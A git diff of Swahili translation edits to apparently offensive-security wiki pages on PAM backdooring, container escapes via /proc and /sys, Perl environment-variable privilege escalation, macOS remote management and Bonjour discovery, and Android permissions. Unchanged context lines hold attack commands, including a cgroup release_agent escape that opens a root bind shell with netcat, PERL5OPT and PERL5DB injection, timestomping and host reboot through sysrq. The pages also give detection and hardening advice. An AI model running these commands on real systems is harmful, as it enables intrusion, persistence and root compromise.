|
||||
```
|
||||
#### **PAM Usimamizi wa Mifumo**
|
||||
#### **PAM Management Realms**
|
||||
|
||||
Mifumo hii, au vikundi vya usimamizi, vinajumuisha **auth**, **account**, **password**, na **session**, kila moja ikiwa na jukumu tofauti katika mchakato wa uthibitishaji na usimamizi wa kikao:
|
||||
Hizi ni maeneo, au vikundi vya usimamizi, vinavyohusisha **auth**, **account**, **password**, na **session**, kila moja ikiwa na jukumu tofauti katika mchakato wa uthibitishaji na usimamizi wa kikao:
|
||||
|
||||
- **Auth**: Inathibitisha utambulisho wa mtumiaji, mara nyingi kwa kuomba nenosiri.
|
||||
- **Account**: Inashughulikia uthibitishaji wa akaunti, ikikagua hali kama uanachama wa kikundi au vizuizi vya wakati wa siku.
|
||||
- **Account**: Inashughulikia uthibitisho wa akaunti, ikikagua hali kama vile uanachama wa kikundi au vizuizi vya wakati wa siku.
|
||||
- **Password**: Inasimamia masasisho ya nenosiri, ikiwa ni pamoja na ukaguzi wa ugumu au kuzuia mashambulizi ya kamusi.
|
||||
- **Session**: Inasimamia vitendo wakati wa kuanza au kumaliza kikao cha huduma, kama vile kuunganisha directories au kuweka mipaka ya rasilimali.
|
||||
- **Session**: Inasimamia vitendo wakati wa kuanza au kumaliza kikao cha huduma, kama vile kuunganisha saraka au kuweka mipaka ya rasilimali.
|
||||
|
||||
#### **Udhibiti wa Moduli za PAM**
|
||||
#### **PAM Module Controls**
|
||||
|
||||
Udhibiti unatoa mwitikio wa moduli kwa mafanikio au kushindwa, ukihusisha mchakato mzima wa uthibitishaji. Hizi ni pamoja na:
|
||||
Udhibiti unamua jinsi moduli inavyofanya kazi kwa mafanikio au kushindwa, ikishawishi mchakato mzima wa uthibitishaji. Hizi ni pamoja na:
|
||||
|
||||
- **Required**: Kushindwa kwa moduli inayohitajika kunasababisha kushindwa kwa jumla, lakini tu baada ya moduli zote zinazofuata kukaguliwa.
|
||||
- **Requisite**: Kumaliza mara moja mchakato baada ya kushindwa.
|
||||
- **Sufficient**: Mafanikio yanakwepa ukaguzi wa moduli zingine za mfumo huo isipokuwa moduli inayofuata ikishindwa.
|
||||
- **Requisite**: Kumaliza mchakato mara moja baada ya kushindwa.
|
||||
- **Sufficient**: Mafanikio yanakwepa ukaguzi wa moduli zingine za eneo hilo isipokuwa moduli inayofuata ikishindwa.
|
||||
- **Optional**: Inasababisha kushindwa tu ikiwa ndiyo moduli pekee katika safu.
|
||||
|
||||
#### Mfano wa Hali
|
||||
|
||||
Katika usanidi wenye moduli nyingi za uthibitishaji, mchakato unafuata mpangilio mkali. Ikiwa moduli ya `pam_securetty` inakuta terminal ya kuingia haina ruhusa, kuingia kwa root kunazuiwa, lakini moduli zote bado zinashughulikiwa kutokana na hadhi yake ya "required". Moduli ya `pam_env` inaweka mabadiliko ya mazingira, ambayo yanaweza kusaidia katika uzoefu wa mtumiaji. Moduli za `pam_ldap` na `pam_unix` zinafanya kazi pamoja kuthibitisha mtumiaji, huku `pam_unix` ikijaribu kutumia nenosiri lililotolewa awali, ikiongeza ufanisi na kubadilika katika mbinu za uthibitishaji.
|
||||
Katika usanidi wenye moduli nyingi za uthibitishaji, mchakato unafuata mpangilio mkali. Ikiwa moduli ya `pam_securetty` inakuta terminal ya kuingia haijaruhusiwa, kuingia kwa root kunazuiwa, lakini moduli zote bado zinashughulikiwa kutokana na hadhi yake ya "required". Moduli ya `pam_env` inaweka mabadiliko ya mazingira, ambayo yanaweza kusaidia katika uzoefu wa mtumiaji. Moduli za `pam_ldap` na `pam_unix` zinafanya kazi pamoja kuthibitisha mtumiaji, huku `pam_unix` ikijaribu kutumia nenosiri lililotolewa awali, ikiongeza ufanisi na kubadilika katika mbinu za uthibitishaji.
|
||||
|
||||
## Kuweka Nyuma PAM – Kuunganisha `pam_unix.so`
|
||||
## Backdooring PAM – Hooking `pam_unix.so`
|
||||
|
||||
Njia ya jadi ya kudumu katika mazingira ya Linux yenye thamani kubwa ni **kubadilisha maktaba halali ya PAM na trojanised drop-in**. Kwa sababu kila kuingia kwa SSH / console huishia kuita `pam_unix.so:pam_sm_authenticate()`, mistari michache ya C inatosha kukamata akidi au kutekeleza *magic* password bypass.
|
||||
Njia ya jadi ya kudumu katika mazingira ya Linux yenye thamani kubwa ni **kubadilisha maktaba halali ya PAM na ya trojanised drop-in**. Kwa sababu kila kuingia kwa SSH / console huishia kuita `pam_unix.so:pam_sm_authenticate()`, mistari michache ya C inatosha kukamata akidi au kutekeleza *magic* password bypass.
|
||||
|
||||
### Cheatsheet ya Uundaji
|
||||
### Compilation Cheatsheet
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <security/pam_modules.h>
|
||||
@ -98,7 +98,7 @@ touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||||
### Detection
|
||||
* Linganisha MD5/SHA256 ya `pam_unix.so` dhidi ya pakiti ya distro.
|
||||
* Angalia kwa umiliki wa dunia unaoweza kuandikwa au usio wa kawaida chini ya `/lib/security/`.
|
||||
* `auditd` sheria: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
|
||||
* Kanuni ya `auditd`: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
|
||||
|
||||
### References
|
||||
|
||||
|
@ -16,7 +16,7 @@ Maktaba hii inaruhusu ufikiaji wa kubadilisha vigezo vya kernel, kawaida kupitia
|
||||
|
||||
- Imeelezwa katika [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
- Ikiwa unaweza kuandika ndani ya faili hii inawezekana kuandika bomba `|` ikifuatiwa na njia ya programu au script ambayo itatekelezwa baada ya ajali kutokea.
|
||||
- Mshambuliaji anaweza kupata njia ndani ya mwenyeji kwa kontena lake kwa kutekeleza `mount` na kuandika njia ya binary ndani ya mfumo wa faili wa kontena lake. Kisha, angamiza programu ili kufanya kernel itekeleze binary nje ya kontena.
|
||||
- Mshambuliaji anaweza kupata njia ndani ya mwenyeji kwa kontena lake akitekeleza `mount` na kuandika njia ya binary ndani ya mfumo wa faili wa kontena lake. Kisha, angamiza programu ili kufanya kernel itekeleze binary nje ya kontena.
|
||||
|
||||
- **Mfano wa Upimaji na Ukatili**:
|
||||
```bash
|
||||
@ -49,7 +49,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Angalia upatikanaji wa modprobe
|
||||
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- Imeelekezwa katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Imejumuishwa katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Bendera ya kimataifa inayodhibiti ikiwa kernel itakumbwa na hofu au kuanzisha OOM killer wakati hali ya OOM inatokea.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
@ -59,9 +59,9 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Angalia upatikanaji wa modprobe
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
- Inaruhusu kujiandikisha kwa wakalimani wa fomati za binary zisizo za asili kulingana na nambari yao ya uchawi.
|
||||
- Inaruhusu kujiandikisha kwa wakalimani wa muundo wa binary usio wa asili kulingana na nambari yake ya uchawi.
|
||||
- Inaweza kusababisha kupanda kwa haki au upatikanaji wa shell ya root ikiwa `/proc/sys/fs/binfmt_misc/register` inaweza kuandikwa.
|
||||
- Uthibitisho wa husika na maelezo:
|
||||
- Uvunjaji husika na maelezo:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Mafunzo ya kina: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
@ -74,7 +74,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Angalia upatikanaji wa modprobe
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
- Inaruhusu kuitisha amri za Sysrq, ambayo inaweza kusababisha upya mara moja kwa mfumo au hatua nyingine muhimu.
|
||||
- Inaruhusu kuitisha amri za Sysrq, ambayo inaweza kusababisha upya wa mfumo mara moja au hatua nyingine muhimu.
|
||||
- **Mfano wa Kuanzisha Upya Mwenyeji**:
|
||||
|
||||
```bash
|
||||
@ -84,13 +84,13 @@ echo b > /proc/sysrq-trigger # Inarejesha mwenyeji
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
- Inafichua ujumbe wa buffer ya ring ya kernel.
|
||||
- Inaweza kusaidia katika mashambulizi ya kernel, kuvuja kwa anwani, na kutoa taarifa nyeti za mfumo.
|
||||
- Inaweza kusaidia katika uvunjaji wa kernel, kuvuja kwa anwani, na kutoa taarifa nyeti za mfumo.
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
- Inataja alama za kernel zilizotolewa na anwani zao.
|
||||
- Muhimu kwa maendeleo ya mashambulizi ya kernel, hasa kwa kushinda KASLR.
|
||||
- Taarifa za anwani zimepunguzika ikiwa `kptr_restrict` imewekwa kuwa `1` au `2`.
|
||||
- Muhimu kwa maendeleo ya uvunjaji wa kernel, hasa kwa kushinda KASLR.
|
||||
- Taarifa za anwani zinapunguzwa ikiwa `kptr_restrict` imewekwa kuwa `1` au `2`.
|
||||
- Maelezo katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
@ -119,7 +119,7 @@ echo b > /proc/sysrq-trigger # Inarejesha mwenyeji
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
- Inarudisha taarifa za kupanga mchakato, ikipita ulinzi wa PID namespace.
|
||||
- Inafichua majina ya michakato, IDs, na vitambulisho vya cgroup.
|
||||
- Inafichua majina ya mchakato, IDs, na vitambulisho vya cgroup.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
@ -131,8 +131,8 @@ echo b > /proc/sysrq-trigger # Inarejesha mwenyeji
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
- Inatumika kwa kushughulikia `uevents` za kifaa cha kernel.
|
||||
- Kuandika kwenye `/sys/kernel/uevent_helper` kunaweza kutekeleza skripti zisizo na mpangilio wakati wa kuanzishwa kwa `uevent`.
|
||||
- **Mfano wa Ukatili**:
|
||||
- Kuandika kwenye `/sys/kernel/uevent_helper` kunaweza kutekeleza skripti zisizo za kawaida wakati wa kuanzishwa kwa `uevent`.
|
||||
- **Mfano wa Uvunjaji**:
|
||||
```bash
|
||||
|
||||
#### Creates a payload
|
||||
@ -231,7 +231,8 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
|
||||
|
||||
/ # echo '<!DOCTYPE html><html lang="sw"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index2.html
|
||||
/ # echo '<!DOCTYPE html><html lang="sw"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
|
||||
are/nginx/html/index2.html
|
||||
```
|
||||
|
||||
The XSS was achieved:
|
||||
@ -320,7 +321,7 @@ mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
|
||||
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # requires CVE-2022-0492
|
||||
|
||||
echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
|
||||
sh -c "echo 0 > /tmp/x/cgroup.procs" # triggers the empty-cgroup event
|
||||
sh -c "echo 0 > /tmp/x/cgroup.procs" # inasababisha tukio la empty-cgroup
|
||||
```
|
||||
|
||||
When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
|
||||
|
@ -10,7 +10,7 @@ Kwa mfano, tengeneza script hii:
|
||||
#!/usr/bin/perl
|
||||
print "Hello from the Perl script!\n";
|
||||
```
|
||||
Sasa **exporta variable ya env** na uendeleze **perl** script:
|
||||
Sasa **export the env variable** na uendeleze **perl** script:
|
||||
```bash
|
||||
export PERL5OPT='-Mwarnings;system("whoami")'
|
||||
perl test.pl # This will execute "whoami"
|
||||
@ -26,18 +26,19 @@ Na kisha tumia mabadiliko ya mazingira ili moduli ipatikane na kupakiwa kiotomat
|
||||
```bash
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
|
||||
```
|
||||
### Mabadiliko mengine ya mazingira yanayovutia
|
||||
### Mengine mengine ya kuvutia
|
||||
|
||||
* **`PERL5DB`** – wakati mfasiri anapoanzishwa na bendera **`-d`** (debugger), maudhui ya `PERL5DB` yanatekelezwa kama msimbo wa Perl *ndani ya* muktadha wa debugger. Ikiwa unaweza kuathiri mazingira **na** bendera za amri za mchakato wa Perl wenye mamlaka, unaweza kufanya kitu kama:
|
||||
* **`PERL5DB`** – wakati mfasiri anapoanzishwa na bendera **`-d`** (debugger), maudhui ya `PERL5DB` yanatekelezwa kama msimbo wa Perl *ndani ya* muktadha wa debugger.
|
||||
Ikiwa unaweza kuathiri mazingira **na** bendera za amri za mchakato wa Perl wenye mamlaka, unaweza kufanya kitu kama:
|
||||
|
||||
```bash
|
||||
export PERL5DB='system("/bin/zsh")'
|
||||
sudo perl -d /usr/bin/some_admin_script.pl # itatoa shell kabla ya kutekeleza skripti
|
||||
sudo perl -d /usr/bin/some_admin_script.pl # itatoa shell kabla ya kutekeleza script
|
||||
```
|
||||
|
||||
* **`PERL5SHELL`** – kwenye Windows, mabadiliko haya yanadhibiti ni shell ipi inayoweza kutekelezwa ambayo Perl itatumia inapohitaji kuanzisha shell. Inatajwa hapa tu kwa ukamilifu, kwani si muhimu kwenye macOS.
|
||||
* **`PERL5SHELL`** – kwenye Windows, variable hii inasimamia ni executable ipi ya shell ambayo Perl itatumia inapohitajika kuanzisha shell. Inatajwa hapa tu kwa ukamilifu, kwani si muhimu kwenye macOS.
|
||||
|
||||
Ingawa `PERL5DB` inahitaji swichi `-d`, ni kawaida kukutana na skripti za matengenezo au za installer ambazo zinafanywa kama *root* na bendera hii imewezeshwa kwa ajili ya kutatua matatizo kwa kina, na kufanya mabadiliko haya kuwa njia halali ya kupandisha mamlaka.
|
||||
Ingawa `PERL5DB` inahitaji swichi `-d`, ni kawaida kukutana na scripts za matengenezo au installer ambazo zinafanywa kama *root* na bendera hii imewezeshwa kwa ajili ya kutatua matatizo kwa kina, na kufanya variable hii kuwa njia halali ya kupandisha mamlaka.
|
||||
|
||||
## Kupitia utegemezi (@INC abuse)
|
||||
|
||||
@ -66,10 +67,10 @@ Kwa mfano, ikiwa script inatumia **`use File::Basename;`** itakuwa inawezekana k
|
||||
|
||||
## SIP bypass kupitia Msaada wa Uhamiaji (CVE-2023-32369 “Migraine”)
|
||||
|
||||
Mnamo Mei 2023 Microsoft ilifunua **CVE-2023-32369**, iliyopewa jina la **Migraine**, mbinu ya baada ya unyakuzi inayomruhusu mshambuliaji wa *root* **kuzidi kabisa Ulinzi wa Uhakika wa Mfumo (SIP)**.
|
||||
Mnamo Mei 2023 Microsoft ilifunua **CVE-2023-32369**, iliyopewa jina la **Migraine**, mbinu ya baada ya unyakuzi inayomruhusu mshambuliaji wa *root* **kuzidi kabisa Ulinzi wa Uhakika wa Mfumo (SIP)**.
|
||||
Sehemu iliyo hatarini ni **`systemmigrationd`**, daemon iliyopewa haki ya **`com.apple.rootless.install.heritable`**. Mchakato wowote wa mtoto unaozalishwa na daemon hii unapata haki hiyo na hivyo unafanya kazi **nje** ya vizuizi vya SIP.
|
||||
|
||||
Miongoni mwa watoto walioainishwa na watafiti ni mfasiri aliyeidhinishwa na Apple:
|
||||
Kati ya watoto walioainishwa na watafiti ni mfasiri aliyetia saini na Apple:
|
||||
```
|
||||
/usr/bin/perl /usr/libexec/migrateLocalKDC …
|
||||
```
|
||||
@ -87,8 +88,8 @@ Apple ilirekebisha tatizo katika macOS **Ventura 13.4**, **Monterey 12.6.6** na
|
||||
|
||||
## Mapendekezo ya kuimarisha
|
||||
|
||||
1. **Futa mabadiliko hatari** – launchdaemons zenye mamlaka au kazi za cron zinapaswa kuanza na mazingira safi (`launchctl unsetenv PERL5OPT`, `env -i`, nk.).
|
||||
2. **Epuka kuendesha wakalimani kama root** isipokuwa ni lazima. Tumia binaries zilizokusanywa au punguza mamlaka mapema.
|
||||
1. **Futa mabadiliko hatari** – launchdaemons au kazi za cron zenye mamlaka zinapaswa kuanza na mazingira safi (`launchctl unsetenv PERL5OPT`, `env -i`, nk.).
|
||||
2. **Epuka kuendesha waandishi kama root** isipokuwa ni lazima. Tumia binaries zilizokusanywa au punguza mamlaka mapema.
|
||||
3. **Scripts za muuzaji zikiwa na `-T` (hali ya uchafu)** ili Perl ipuuzie `PERL5OPT` na swichi nyingine zisizo salama wakati ukaguzi wa uchafu umewezeshwa.
|
||||
4. **Hifadhi macOS kuwa wa kisasa** – “Migraine” imepatikana kikamilifu katika toleo la sasa.
|
||||
|
||||
|
@ -32,21 +32,21 @@ Ili kuwezesha ARD kwa kazi mbalimbali za kiutawala kama vile kupandisha hadhi, u
|
||||
```bash
|
||||
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
|
||||
```
|
||||
ARD inatoa viwango tofauti vya udhibiti, ikiwa ni pamoja na ufuatiliaji, udhibiti wa pamoja, na udhibiti kamili, huku vikao vikidumu hata baada ya mabadiliko ya nenosiri la mtumiaji. Inaruhusu kutuma amri za Unix moja kwa moja, na kuzitekeleza kama root kwa watumiaji wa kiutawala. Ratiba za kazi na utafutaji wa Remote Spotlight ni vipengele vya kutambulika, vinavyorahisisha utafutaji wa mbali, wa athari ndogo kwa faili nyeti katika mashine nyingi.
|
||||
ARD inatoa viwango tofauti vya udhibiti, ikiwa ni pamoja na ufuatiliaji, udhibiti wa pamoja, na udhibiti kamili, huku vikao vikidumu hata baada ya mabadiliko ya nenosiri la mtumiaji. Inaruhusu kutuma amri za Unix moja kwa moja, kuzitekeleza kama root kwa watumiaji wa kiutawala. Ratiba za kazi na utafutaji wa Remote Spotlight ni vipengele vya kutambulika, vinavyorahisisha utafutaji wa mbali, wa athari ndogo kwa faili nyeti katika mashine nyingi.
|
||||
|
||||
#### Uthibitisho wa hivi karibuni wa Screen-Sharing / ARD (2023-2025)
|
||||
|
||||
| Mwaka | CVE | Kipengele | Athari | Imefanyiwa marekebisho katika |
|
||||
|------|-----|-----------|--------|----------|
|
||||
|2023|CVE-2023-42940|Screen Sharing|Uwasilishaji usio sahihi wa kikao unaweza kusababisha *desktop* au dirisha *sio sahihi* kuhamasishwa, na kusababisha uvujaji wa taarifa nyeti|macOS Sonoma 14.2.1 (Desemba 2023) |
|
||||
|2024|CVE-2024-23296|launchservicesd / login|Kuvunjwa kwa ulinzi wa kumbukumbu ya kernel ambayo inaweza kuunganishwa baada ya kuingia kwa mbali kwa mafanikio (inatumika kwa nguvu katika mazingira ya kawaida)|macOS Ventura 13.6.4 / Sonoma 14.4 (Machi 2024) |
|
||||
|2023|CVE-2023-42940|Screen Sharing|Uwasilishaji usio sahihi wa kikao unaweza kusababisha *desktop* au dirisha *sio sahihi* kuhamasishwa, na kusababisha uvujaji wa taarifa nyeti|macOS Sonoma 14.2.1 (Des 2023) |
|
||||
|2024|CVE-2024-23296|launchservicesd / login|Kuvunja ulinzi wa kumbukumbu ya kernel ambayo inaweza kuunganishwa baada ya kuingia kwa mbali kwa mafanikio (inatumika kwa nguvu katika mazingira ya kawaida)|macOS Ventura 13.6.4 / Sonoma 14.4 (Mar 2024) |
|
||||
|
||||
**Vidokezo vya kuimarisha**
|
||||
|
||||
* Zima *Screen Sharing*/*Remote Management* wakati sio muhimu sana.
|
||||
* Hifadhi macOS ikiwa na sasisho kamili (Apple kwa ujumla huleta marekebisho ya usalama kwa toleo tatu kubwa za mwisho).
|
||||
* Tumia **Nenosiri Imara** *na* kulazimisha chaguo la *“VNC viewers may control screen with password”* **limezimwa** inapowezekana.
|
||||
* Weka huduma hiyo nyuma ya VPN badala ya kuifichua TCP 5900/3283 kwa Mtandao.
|
||||
* Weka huduma nyuma ya VPN badala ya kufichua TCP 5900/3283 kwa Mtandao.
|
||||
* Ongeza sheria ya Firewall ya Programu ili kupunguza `ARDAgent` kwa subnet ya ndani:
|
||||
|
||||
```bash
|
||||
@ -66,15 +66,15 @@ Zero Configuration Networking, inayotolewa na Bonjour, inahakikisha kwamba vifaa
|
||||
- Kufanya **tafsiri ya jina hadi anwani** bila kuhitaji seva ya DNS.
|
||||
- **Gundua huduma** zinazopatikana kwenye mtandao.
|
||||
|
||||
Vifaa vinavyotumia Bonjour vitajipatia **anwani ya IP kutoka kwenye anuwai ya 169.254/16** na kuthibitisha upekee wake kwenye mtandao. Macs huhifadhi kipengele cha routing kwa subnet hii, kinachoweza kuthibitishwa kupitia `netstat -rn | grep 169`.
|
||||
Vifaa vinavyotumia Bonjour vitajipatia **anwani ya IP kutoka kwenye anuwai ya 169.254/16** na kuthibitisha upekee wake kwenye mtandao. Macs huhifadhi kipengele cha jedwali la routing kwa subnet hii, kinachoweza kuthibitishwa kupitia `netstat -rn | grep 169`.
|
||||
|
||||
Kwa DNS, Bonjour inatumia **protokali ya Multicast DNS (mDNS)**. mDNS inafanya kazi kupitia **bandari 5353/UDP**, ikitumia **maswali ya kawaida ya DNS** lakini ikilenga **anwani ya multicast 224.0.0.251**. Njia hii inahakikisha kwamba vifaa vyote vinavyosikiliza kwenye mtandao vinaweza kupokea na kujibu maswali, na kurahisisha sasisho la rekodi zao.
|
||||
|
||||
Pale kifaa kinapoungana na mtandao, kila kifaa kinajichagulia jina, ambacho kwa kawaida kinaishia na **.local**, ambacho kinaweza kutokana na jina la mwenyeji au kutengenezwa kwa bahati nasibu.
|
||||
Pale kifaa kinapojiunga na mtandao, kila kifaa kinajichagulia jina, ambacho kwa kawaida kinaishia na **.local**, ambacho kinaweza kutokana na jina la mwenyeji au kutengenezwa kwa bahati nasibu.
|
||||
|
||||
Gundua huduma ndani ya mtandao inarahisishwa na **DNS Service Discovery (DNS-SD)**. Kwa kutumia muundo wa rekodi za DNS SRV, DNS-SD inatumia **rekodi za DNS PTR** kuwezesha orodha ya huduma nyingi. Mteja anayetafuta huduma maalum ataomba rekodi ya PTR kwa `<Service>.<Domain>`, akipokea orodha ya rekodi za PTR zilizoundwa kama `<Instance>.<Service>.<Domain>` ikiwa huduma inapatikana kutoka kwa mwenyeji wengi.
|
||||
Gundua huduma ndani ya mtandao inarahisishwa na **DNS Service Discovery (DNS-SD)**. Kwa kutumia muundo wa rekodi za DNS SRV, DNS-SD inatumia **rekodi za DNS PTR** kuwezesha orodha ya huduma nyingi. Mteja anayepata huduma maalum atahitaji rekodi ya PTR kwa `<Service>.<Domain>`, akipokea orodha ya rekodi za PTR zilizoundwa kama `<Instance>.<Service>.<Domain>` ikiwa huduma inapatikana kutoka kwa mwenyeji wengi.
|
||||
|
||||
Zana ya `dns-sd` inaweza kutumika kwa **kugundua na kutangaza huduma za mtandao**. Hapa kuna baadhi ya mifano ya matumizi yake:
|
||||
Zana ya `dns-sd` inaweza kutumika kwa **kugundua na kutangaza huduma za mtandao**. Hapa kuna mifano kadhaa ya matumizi yake:
|
||||
|
||||
### Kutafuta Huduma za SSH
|
||||
|
||||
@ -96,9 +96,9 @@ Ili kutafuta huduma za HTTP kwenye mtandao:
|
||||
```bash
|
||||
dns-sd -B _http._tcp
|
||||
```
|
||||
Wakati huduma inaanza, inatangaza upatikanaji wake kwa vifaa vyote kwenye subnet kwa kutangaza uwepo wake. Vifaa vinavyovutiwa na huduma hizi havihitaji kutuma maombi bali vinahitaji kusikiliza matangazo haya.
|
||||
Wakati huduma inaanza, inatangaza upatikanaji wake kwa vifaa vyote kwenye subnet kwa kutangaza uwepo wake. Vifaa vinavyovutiwa na huduma hizi havihitaji kutuma maombi bali vinapaswa kusikiliza matangazo haya.
|
||||
|
||||
Kwa kiolesura kinachofaa kwa mtumiaji, programu ya **Discovery - DNS-SD Browser** inayopatikana kwenye Apple App Store inaweza kuonyesha huduma zinazotolewa kwenye mtandao wako wa ndani.
|
||||
Kwa kiolesura kinachofaa zaidi kwa mtumiaji, programu ya **Discovery - DNS-SD Browser** inayopatikana kwenye Apple App Store inaweza kuonyesha huduma zinazotolewa kwenye mtandao wako wa ndani.
|
||||
|
||||
Vinginevyo, skripti maalum zinaweza kuandikwa ili kuvinjari na kugundua huduma kwa kutumia maktaba ya `python-zeroconf`. Skripti ya [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) inaonyesha jinsi ya kuunda kivinjari cha huduma kwa huduma za `_http._tcp.local.`, ikichapisha huduma zilizoongezwa au kuondolewa:
|
||||
```python
|
||||
@ -129,7 +129,7 @@ zeroconf.close()
|
||||
nmap -sU -p 5353 --script=dns-service-discovery <target>
|
||||
```
|
||||
|
||||
Script ya `dns-service-discovery` inatuma ombi la `_services._dns-sd._udp.local` kisha inakuorodhesha kila aina ya huduma iliyotangazwa.
|
||||
Script ya `dns-service-discovery` inatuma swali la `_services._dns-sd._udp.local` kisha inakuorodhesha kila aina ya huduma iliyotangazwa.
|
||||
|
||||
* **mdns_recon** – Zana ya Python inayoskania maeneo yote kutafuta *maktaba* za mDNS ambazo zinajibu maswali ya unicast (inasaidia kupata vifaa vinavyoweza kufikiwa kupitia subnets/WAN):
|
||||
|
||||
@ -149,7 +149,7 @@ Hii itarudisha mwenyeji wanaoonyesha SSH kupitia Bonjour nje ya kiungo cha ndani
|
||||
|
||||
**Mwongozo wa kupunguza hatari**
|
||||
|
||||
1. Punguza UDP 5353 kwa *muktadha wa kiungo-lokali* – zuia au punguza kiwango chake kwenye wasimamizi wa wireless, route, na firewalls za mwenyeji.
|
||||
1. Punguza UDP 5353 kwa *muktadha wa kiungo* – zuia au punguza kiwango chake kwenye wasimamizi wa wireless, route, na firewalls za mwenyeji.
|
||||
2. Zima Bonjour kabisa kwenye mifumo ambayo haitaji kugundua huduma:
|
||||
|
||||
```bash
|
||||
|
@ -15,17 +15,17 @@
|
||||
|
||||
### Kushiriki UID
|
||||
|
||||
**Programu mbili zinaweza kuwekewa mipangilio kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki taarifa, lakini ikiwa moja yao itashambuliwa, data za programu zote mbili zitakuwa hatarini. Hii ndiyo sababu tabia hii inachukuliwa **kama si nzuri**.\
|
||||
**Programu mbili zinaweza kuwekewa mipangilio kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki taarifa, lakini ikiwa moja yao itashambuliwa, data za programu zote mbili zitakuwa hatarini. Hii ndiyo sababu tabia hii inashauriwa **kuepukwa**.\
|
||||
**Ili kushiriki UID sawa, programu lazima iwe na thamani sawa ya `android:sharedUserId` katika hati zao.**
|
||||
|
||||
### Sandboxing
|
||||
|
||||
**Sanduku la Programu za Android** linaruhusu kuendesha **kila programu** kama **mchakato tofauti chini ya Kitambulisho tofauti cha Mtumiaji**. Kila mchakato una mashine yake ya virtual, hivyo msimbo wa programu unafanya kazi kwa kujitenga na programu nyingine.\
|
||||
**Android Application Sandbox** inaruhusu kuendesha **kila programu** kama **mchakato tofauti chini ya Kitambulisho tofauti cha mtumiaji**. Kila mchakato una mashine yake ya virtual, hivyo msimbo wa programu unafanya kazi kwa kujitenga na programu nyingine.\
|
||||
Kuanzia Android 5.0(L) **SELinux** inatekelezwa. Kimsingi, SELinux ilikataa mwingiliano wote wa mchakato na kisha kuunda sera za **kuruhusu tu mwingiliano unaotarajiwa kati yao**.
|
||||
|
||||
### Ruhusa
|
||||
|
||||
Unapoweka **programu na inahitaji ruhusa**, programu inahitaji ruhusa zilizowekwa katika vipengele vya **`uses-permission`** katika faili ya **AndroidManifest.xml**. Kipengele cha **uses-permission** kinaonyesha jina la ruhusa inayohitajika ndani ya **attribute** ya **jina**. Pia ina **maxSdkVersion** ambayo inazuia kuomba ruhusa kwenye toleo lililo juu ya lile lililotajwa.\
|
||||
Wakati unaposakinisha **programu na inahitaji ruhusa**, programu inahitaji ruhusa zilizowekwa katika vipengele vya **`uses-permission`** katika faili ya **AndroidManifest.xml**. Kipengele cha **uses-permission** kinaonyesha jina la ruhusa inayohitajika ndani ya **attribute** ya **jina**. Pia ina **maxSdkVersion** ambayo inazuia kuomba ruhusa kwenye toleo lililo juu ya lile lililotajwa.\
|
||||
Kumbuka kwamba programu za android hazihitaji kuomba ruhusa zote mwanzoni, zinaweza pia **kuomba ruhusa kwa njia ya kidinamik** lakini ruhusa zote lazima **zitangazwe** katika **manifest**.
|
||||
|
||||
Wakati programu inatoa kazi inaweza kupunguza **ufikiaji kwa programu tu ambazo zina ruhusa maalum**.\
|
||||
@ -41,36 +41,36 @@ Kipengele cha ruhusa kina attributes tatu:
|
||||
|
||||
## Programu Zilizowekwa Kabla
|
||||
|
||||
Programu hizi kwa kawaida hupatikana katika **`/system/app`** au **`/system/priv-app`** na baadhi yao zime **boreshwa** (huenda usipate hata faili ya `classes.dex`). Programu hizi zinastahili kuangaliwa kwa sababu wakati mwingine zina **endesha na ruhusa nyingi sana** (kama root).
|
||||
